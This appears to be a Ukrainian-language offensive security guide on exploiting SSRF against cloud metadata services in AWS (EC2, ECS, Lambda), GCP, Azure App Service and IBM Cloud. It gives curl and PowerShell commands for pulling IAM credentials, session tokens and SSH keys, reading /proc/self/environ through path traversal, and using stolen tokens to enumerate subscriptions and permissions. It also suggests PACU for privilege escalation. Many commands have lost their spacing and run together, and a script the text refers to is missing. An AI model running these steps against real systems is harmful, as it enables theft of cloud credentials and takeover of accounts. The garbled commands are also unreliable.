Метадані можна отримати з будь-якої машини EC2 та вони містять цікаву інформацію про неї. Їх можна отримати за адресою: http://169.254.169.254 (інформація про метадані тут).
Існують 2 версії метаданих. Перша дозволяє доступ до метаданих через запити GET (тому будь-який SSRF може використовувати це). Для версії 2, IMDSv2, вам потрібно запросити токен, відправивши запит PUT з HTTP заголовком, а потім використовувати цей токен для доступу до метаданих з іншим HTTP заголовком (тому складніше зловживати з SSRF).
Зверніть увагу, що якщо екземпляр EC2 вимагає IMDSv2, згідно з документацією, відповідь на запит PUT матиме обмеження на кількість хопів 1, що робить неможливим доступ до метаданих EC2 з контейнера всередині екземпляра EC2.
Крім того, IMDSv2 також блокуватиме запити на отримання токена, які включають заголовок X-Forwarded-For. Це зроблено для запобігання можливості доступу до нього неправильно налаштованими зворотніми проксі.
Ви можете знайти інформацію про метадані в документації. У наступному скрипті отримано цікаву інформацію з них:
Зверніть увагу на aws_session_token, це невід'ємна частина профілю для роботи.
PACU можна використовувати з виявленими обліковими даними, щоб дізнатися ваші привілеї та спробувати підвищити їх
SSRF в облікових даних AWS ECS (Служба контейнерів)
ECS, це логічна група екземплярів EC2, на яких ви можете запускати додаток, не маючи потреби масштабувати власну інфраструктуру управління кластером, оскільки ECS цим управляє за вас. Якщо вам вдасться скомпрометувати службу, яка працює в ECS, точки метаданих змінюються.
Якщо ви отримуєте доступ до http://169.254.170.2/v2/credentials/<GUID>, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно знайти <GUID>. Щоб знайти <GUID>, вам потрібно прочитати змінну environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI всередині машини.
Ви можете прочитати це, використовуючи Path Traversal до file:///proc/self/environ
Згадана адреса http має надати вам AccessKey, SecretKey та токен.
Зверніть увагу, що у деяких випадках ви зможете отримати доступ до екземпляра метаданих EC2 з контейнера (перевірте обмеження TTL IMDSv2, згадані раніше). У таких сценаріях з контейнера ви зможете отримати доступ як до ролі IAM контейнера, так і до ролі IAM EC2.
SSRF для AWS Lambda
У цьому випадку облікові дані зберігаються в змінних середовища. Тому, щоб отримати до них доступ, вам потрібно отримати доступ до чогось подібного до file:///proc/self/environ.
Назви цікавих змінних середовища:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Крім того, крім облікових даних IAM, функції Lambda також мають дані події, які передаються функції при запуску. Ці дані стають доступними для функції через інтерфейс виконання та можуть містити чутливуінформацію (наприклад, всередині stageVariables). На відміну від облікових даних IAM, ці дані доступні через стандартний SSRF за адресою http://localhost:9001/2018-06-01/runtime/invocation/next.
Зверніть увагу, що облікові дані lambda знаходяться в змінних середовища. Тому, якщо стек відстеження коду lambda виводить змінні середовища, можливо ексфільтрувати їх, спровокувавши помилку в додатку.
Для того, щоб використати витік токену облікового запису служби, ви можете просто зробити:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
З env ви можете отримати значення IDENTITY_HEADERіIDENTITY_ENDPOINT. Це можна використовувати для отримання токену для спілкування з сервером метаданих.
Більшість часу вам потрібен токен для одного з цих ресурсів:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Зверніть увагу, що в IBM за замовчуванням метадані не активовані, тому можливо, ви не зможете отримати до них доступ, навіть якщо ви знаходитесь всередині віртуальної машини IBM.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Документація для різних платформ метаданих наведена нижче, висвітлюючи методи доступу до конфігурації та інформації про робочий час для екземплярів. Кожна платформа пропонує унікальні кінцеві точки доступу до своїх служб метаданих.